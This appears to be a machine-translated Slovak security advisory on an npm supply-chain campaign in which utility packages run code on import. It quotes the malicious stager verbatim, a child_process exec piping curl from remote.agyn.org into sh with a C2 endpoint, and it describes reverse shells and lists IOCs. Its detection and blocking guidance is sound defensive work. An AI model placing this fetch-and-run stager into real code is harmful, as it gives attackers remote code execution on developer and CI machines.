TL; DR
Jeden publikovaný operátor npm päť trójskych koní napadnutých balíkov v dvoch kolách za tri dni. Balíky sa vydávajú za drobné nástroje na farbenie terminálu, záznamník a klienta Postgres. Škodlivý kód sa spúšťa momente importu balíka — nie je potrebný žiadny inštalačný skript.
Prvé kolo (neon-terminal, neon-postgres, ne-logger) bolo zrušené 5. júla 2026 o 14:14 UTC. O sedemdesiatštyri minút neskôr ten istý účet znovu publikoval toho istého trójskeho koňa pod novými menami (agn-terminal, agn-logger) — a namieril ho na rovnaký koncový bod príkazového a riadiaceho systému predtým to používalo: tracker.bvgroup.co.
Tento hostiteľ C2 je jediný indikátor, ktorý prežije premenovanie, a zároveň najrýchlejšia vec, ktorú obranca musí hľadať. Závažnosť: vysokýEkosystém: NPMBalíčky druhého kola boli v čase písania tohto článku stále platné.
Útok: ako to funguje
Balíčky sú funkčné návnady. Otvorené. agn-terminál a nájdete kompletného, funkčného pomocníka pre farby ANSI — kódy, podporujeFarba, zafarbiť, maľovať — s typmi a súborom README. Kód nástroja funguje. Na vrchu vstupného modulu, nad užitočným kódom, je pripojených niekoľko riadkov, ktoré sa spúšťajú pri importe.
// agn-terminal 0.1.0 — src/index.js (top of module) import { exec } from "node:child_process"; const child = exec( "curl -fsSL https://remote.agyn.org/remote.sh | " + "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh", {}, (error, stdout, stderr) => {}, ); Tri veci robia toto efektívne.
- Spustí sa to pri importe, nie pri inštalácii. Balík vyhlasuje nie predinštalovať or po inštalácii háčik – obvyklé miesto, kam sa skenery a recenzenti pozerajú. exec volanie je kód na úrovni modulu. Spustí sa pri prvom spustení akéhokoľvek require(„agn-terminal“) or importovať „agn-terminál“, na počítači vývojára alebo vo vnútri CI. Položka ESM (src/index.js) a položka CommonJS (cjs/src/index.js) nesú rovnaké užitočné zaťaženie, takže sú pokryté oba modulové systémy.
- Skutočné užitočné zaťaženie sa nachádza mimo obalu. Balík dodáva iba jednoriadkový stager: fetch remote.agyn.org/remote.sh` a presmerovať ho na sh`. Spustí sa čokoľvek, čo operátor v čase požiadavky poskytne z tejto URL adresy. Koncový bod C2 sa odovzdá stiahnutému skriptu prostredníctvom TRACKER_REMOTE_ENDPOINT premenná prostredia, takže skript druhej fázy telefonuje domov tracker.bvgroup.co.
- Nosný balík rozširuje polomer výbuchu. agn-logger je druhá návnada – „malý globálny záznamník“. Nemá vlastný užitočný materiál. Jeho vstupný modul robí jednu dôležitú vec:
// agn-logger 0.1.0 — cjs/src/index.js const { colorize, supportsColor } = require('agn-terminal'); Vyhlasuje agn-terminál ako závislosť a importuje ju. Inštalácia alebo import loggeru stiahne a tranzitívne spustí terminálový balík. Projekt, ktorý nikdy priamo nepomenuje trójskeho koňa, ho stále môže spustiť prostredníctvom loggeru.
Čo je tu nové
Prvé kolo nepoužívalo vzdialený stager. Payload sa odosielal inline a eskaloval verziu po verzii – bash reverzný shell v jednom vydaní, sieťová zásuvka obrátená škrupina v ďalšom, a git pridať/commit/TAM pracovného adresára obete v inom a nakoniec plnohodnotného agenta HTTP príkazov a riadenia v neónový terminál 0.9.0, ktorá registrovala hostiteľa, vyzývala ho na úlohy a spúšťala ich s exec()a streamoval výstup kódovaný v base64 späť. Druhé kolo to všetko zhromažďuje do jedného kučeravý | sh, čím sa druhá etapa úplne vyradí z registra. Rovnaký operátor, tichší balík, flexibilnejšie užitočné zaťaženie – a čo je kľúčové, rovnaké C2 ako predtým.
časová os
| Dátum (UTC) | udalosť |
|---|---|
| 2026-07-03 07:03 | Prvé kolo zverejnené: neon-terminal (0.1.0 čistá, potom 0.2.0–0.9.0 škodlivá), neon-postgres 3.5.2, ne-logger 0.7.0 |
| 2026-07-03 07:05 | neon-terminal označené pri skenovaní v reálnom čase |
| 2026-07-04 | Potvrdený škodlivý kód; korelácia odhaľuje dva súrodenecké balíky; podané prvé pokusy o odstránenie |
| 2026-07-05 14:14 | Prvé kolo nepublikované – všetkých osem neon-terminal verzie plus súrodenci odstránení |
| 2026-07-05 15:28 | agn-terminal 0.1.0 zverejnená |
| 2026-07-05 15:29 | agn-logger 0.1.0 publikované – dopravca pre nový terminálový balík |
| 2026-07-05 (prebieha) | Balíčky druhého kola sú v čase písania článku platné |
Dve kolá sa konajú tri dni po sebe a odstup medzi odstránením a opätovným spustením bol 74 minút. Kampaň je otvorená: agn-* balíky neboli v čase písania tohto textu odstránené.
Indikátory kompromisu
Vyhľadajte názvy balíkov v súboroch lockfile a stromoch závislostí. Vyhľadajte proxy, DNS a EDR protokoly pre koncové body siete. Hostiteľ C2 tracker.bvgroup.co zahŕňa obe kolá a je to jednotlivý ukazovateľ s najvyššou hodnotou.
Balíčky
| Balíček | verzia | Úloha | postavenie |
|---|---|---|---|
neon-terminal | 0.2.0–0.9.0 | trójsky kôň (vložené užitočné zaťaženie → HTTP C2) | nepublikovaný |
neon-postgres | 3.5.2 | trójsky kôň (užitočné zaťaženie v src/errors.js) | nepublikovaný |
ne-logger | 0.7.0 | dopravca (závisí od neon-terminal) | nepublikovaný |
agn-terminal | 0.1.0 | trójsky kôň (curl | sh inscenátor) | žiť |
agn-logger | 0.1.0 | dopravca (závisí od agn-terminal) | žiť |
neónový terminál Verzia 0.1.0 bola čistá základná verzia – funkčná knižnica farieb bez užitočného zaťaženia – publikovaná na vytvorenie balíka predtým, ako nasledovali škodlivé verzie.
sieť
| Indikátor | Kontext |
|---|---|
tracker.bvgroup.co/remote/… | HTTP C2, obe kolá (token druhého kola) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J) |
remote.agyn.org/remote.sh | nakladač prvej etapy, druhé kolo |
reverse.bvgroup.co:443 | koncový bod reverzného shellu prvého kola (neon-terminal 0.6.0) |
6.tcp.eu.ngrok.io:28754 | obrátená škrupina prvého kola (neon-terminal 0.3.0) |
2.tcp.eu.ngrok.io:25852 | obrátená škrupina prvého kola (neon-terminal 0.4.0) |
bvgroup.co, agyn.org, agyn.io | domény ovládané operátorom |
behaviorálna
- Modulová úroveň child_process.exec na začiatku vstupného súboru balíka nástrojov, v oboch src/index.js (ESM) a cjs/src/index.js (CJS).
- A curl -fsSL … | sh jednoriadkový s C2 prechádzajúcim cez TRACKER_REMOTE_ENDPOINT premenná prostredia.
- Druhý „úžitkový“ balík, ktorý deklaruje prvý ako závislosť a importuje ho bez vlastného užitočného zaťaženia.
- Zvyšok // neónový terminál komentár v hornej časti agn-terminál — artefakt kopírovania a vkladania spájajúci rebranding s originálom.
Haše súborov (SHA-256, druhé kolo)
- agn-terminál src/index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
- agn-terminál cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
- agn-logger src/index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19
Pripisovanie a pozorované správanie
Každý balík smeruje k jednému npm účtu, vitalii-agyn, publikovanie pod neoverenou e-mailovou adresou vitalii@agyn.ioMetadáta registra účtu obsahujú zoznam všetkých troch balíkov prvého kola, ktoré spravuje. Infraštruktúra spája tieto kolá dohromady: doména agyn.org zhoduje sa s vydavateľom agyn.io e-mailová doména a hostiteľ C2 tracker.bvgroup.co objavuje sa v oboch neónový terminál 0.9.0 a agn-terminál 0.1.0 — rovnaká cesta ku kolektoru, doslovne opätovne použitá po premenovaní.
Opisujeme, čo artefakty ukazujú, a tam sa zastavíme. Uvedený e-mail vydavateľa je vitalii@agyn.io; neoverili sme vlastníctvo tejto adresy a nepripisujeme účet žiadnej menovanej osobe ani skupine. Opätovné použitie jedného koncového bodu C2 v dvoch rodinách balíkov je silným signálom toho istého operátora, nie identitou.
Balíčky prvého kola sa opierali o susedstvo značiek. neon-postgres bol úplným klonom široko používaného Porsagera postgres.js klient, vrátane sloganu, s užitočným zaťažením zabudovaným v src/errors.js takže by sa k nemu dostala rutinná cesta importu – a neón- prefix si požičiava rozpoznateľnosť Neonu, poskytovateľa bezserverového Postgresu. V druhom kole názvov sa odstránila imitácia identity a stali sa generickými (agn-terminál, agn-logger), výmena príťažlivosti pre značku za čistejší oddych od spálených mien.
Dopad, trendy a poradenstvo pre obrancov
- Kto je odhalený. Každý, kto nainštaluje a importuje jeden z týchto balíkov, priamo alebo prostredníctvom operátora, na hostiteľa podobnom Unixu. Stager používa curl a sh; náboje prvého kola používajú tresnúť a /dev/tcpKeďže k spusteniu dochádza pri importe, stačí zostavovací server, ktorý nainštaluje závislosť a spustí akýkoľvek kód, ktorý sa jej dotkne – nevyžaduje sa žiadny krok po inštalácii. Na vývojárskej pracovnej stanici alebo spúšťači CI sa stiahnutá druhá fáza spustí s oprávneniami používateľa a plným dosahom siete.
- Prečo je vykonávanie počas importu dôležité. Obrana dodávateľského reťazca sa sústredila na inštalačné skripty a to z dobrého dôvodu – poinštalácia je klasickým oporným bodom npm. Táto kampaň sa tomu úplne vyhýba. Neexistuje žiadny inštalačný háčik, ktorý by sa dal nahlásiť. škodlivý kód je bežná inicializácia modulu, na prvý pohľad nerozoznateľná od balíka, ktorý pri načítaní vypočítava vyhľadávaciu tabuľku. Nástroje, ktoré kontrolujú iba skripty v package.json, nevidia nič.
- Trend rebrandingu a opätovného použitia. 74-minútový obrat je hlavným faktorom. Takedown odstránil názvy, ale nie prevádzkovateľa, infraštruktúru ani kód. Do hodiny bola kampaň opäť spustená pod novými názvami smerujúcimi na ten istý C2. Blokovanie na základe názvu – denylisting neon-terminal – by už bolo zastarané. Blokovanie na základe infraštruktúry – denylisting bvgroup.co – by po príchode chytilo druhé kolo. Pre aktívneho prevádzkovateľa, ktorý znovu publikuje rýchlejšie, ako registre odstraňujú, je trvalým indikátorom koncový bod siete, nie názov balíka.
Čo teraz
- Vyhľadajte uzamykateľné súbory a nainštalované stromy pomocou príkazu Grep pre všetkých päť vyššie uvedených názvov balíkov. Akúkoľvek zhodu považovať za kompromitovaný hostiteľ a rotovať prihlasovacie údaje, ktoré sú z neho dostupné.
- Blokovanie a upozorňovanie na domény bvgroup.co, agyn.orga koncové body ngrok v DNS a filtrovaní výstupného protokolu. tracker.bvgroup.co je prioritou.
- Nespoliehajte sa iba na skenovanie install-hook. Pridajte detekciu na úrovni modulov. child_process a sieťové volania v závislostiach a pre kučeravý … | sh vzory v zdrojovom kóde balíka.
- Považujte balík nástrojov, ktorý deklaruje iný, neznámy nástroj ako svoju jedinú závislosť a importuje ho pri načítaní, za hodný ďalšieho zváženia.
- V CI uprednostňovať –Ignorovať skripty kde je to praktické, ale chápeme, že to tu nepomôže – užitočné zaťaženie sa spúšťa pri importe, takže kontroly výstupu za behu a kontrola závislostí sú dôležitejšie.
Referencie
- Neon bezserverový Postgres — značka neón-* mená si požičiavajú rozpoznateľnosť od.
- Porsager postgres.js — klient neon-postgres klonovaný.





